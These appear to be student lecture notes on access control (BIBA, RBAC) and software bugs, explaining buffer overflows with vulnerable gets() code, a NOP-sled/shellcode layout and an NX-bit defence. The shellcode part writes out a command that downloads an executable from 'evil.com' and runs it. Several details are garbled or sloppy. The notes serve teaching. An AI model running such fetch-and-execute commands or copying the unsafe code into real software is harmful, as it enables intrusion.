Access Control[ctnd..] and Bugs in the Code

BIBA Model:
- It ensures data integrity.
- It follows the rule “No Read Down and No Write Up”
- For example:
  - Theorem: (Most Trustworthy)
  - First Hand: (Trustworthy)
  - Second Hand: (Less Trustworthy)
  - Internet: (Least Trustworthy)

Role Based Access Control (RBAC):
- Users have roles and roles are assigned permissions

<table>
<thead>
<tr>
<th>USERS</th>
<th>ROLES</th>
<th>PERMISSIONS</th>
</tr>
</thead>
<tbody>
<tr>
<td>Alice</td>
<td>Manager</td>
<td>Withdraw</td>
</tr>
<tr>
<td>Bob</td>
<td>Teller</td>
<td>Deposit</td>
</tr>
<tr>
<td>Carol</td>
<td>Auditor</td>
<td>Make Loan</td>
</tr>
<tr>
<td>Dave</td>
<td></td>
<td>Read Logs</td>
</tr>
</tbody>
</table>

- We apply RBAC so that we can create a group for a set of users and assign them role instead of creating accounts for all the users.
- Further RBAC, utilizes separation of duties, which ensure that two or more people must be involved in authorizing critical operations.
- For remote system the communication is held be message passing

- User will request server, user will be authenticated and then privileges will be granted
- Problems which may arise here include Communication Problem and Server can have Bugs

Bugs in the Code:
Software bugs are source of almost all security vulnerabilities.
Few types are as listed:
- Buffer Overflow
- Format string bugs
- Race condition
- SQL injection
- Cross side scripting bugs
- Cross side request forgery
- Confused deputy
- Component hijacking
Buffer Overflow:
It is an anomaly where a program while writing data to a buffer, overruns the buffer’s boundary and overwrites adjacent memory.
Example:
void readuse(char *username)
{
gets(username); //read till new line or something
}

Process Virtual Memory Layout:

<table>
<thead>
<tr>
<th>0Xfffffff</th>
<th>Kernel</th>
</tr>
</thead>
<tbody>
<tr>
<td>0Xc0000000</td>
<td>Stuff</td>
</tr>
<tr>
<td></td>
<td>Environment variables</td>
</tr>
<tr>
<td></td>
<td>Stack(grows down)</td>
</tr>
<tr>
<td></td>
<td>Heap(goes up)</td>
</tr>
<tr>
<td></td>
<td>RO data</td>
</tr>
<tr>
<td></td>
<td>Data</td>
</tr>
<tr>
<td></td>
<td>bss(uninitialized global variables)</td>
</tr>
<tr>
<td></td>
<td>Text</td>
</tr>
<tr>
<td></td>
<td>Unallocated memory space</td>
</tr>
</tbody>
</table>

Void dummy(int x, int z)
{
int w;
w=x+z;
}

void foo(void){
int y=7;
dummy(y,y+1);
}

Now as we have understood how memory is allocated, lets move to buffer overflow program:
char *get_user(void){
char buff[256];
gets(buff);
printf("hello %s",buf);
return buff;
}
The attack can be depicted as:

```
username:<NOP SLED><Shell code><evil ret address>
{----------256 bits--------}{-----4 bits-----}
```

How to get to buf[0]? 
- Suppose we are working on ubuntu, then run ubuntu on some other machine. Using debugger ask for the address. Here we will get the approximate value.
- We can use argument but not always feasible.

We can write the following shell code:
```
system("/bin/sh"): corresponding binary code
system("wget http:evil.com/exe/tmp/exe; chmod a+x/tmp/exe;/tmp/exe");
```

How to avoid attack:
- NX bit: "not executable"
- Virtual Memory pages labeled as 
  - readable
  - writable
  - executable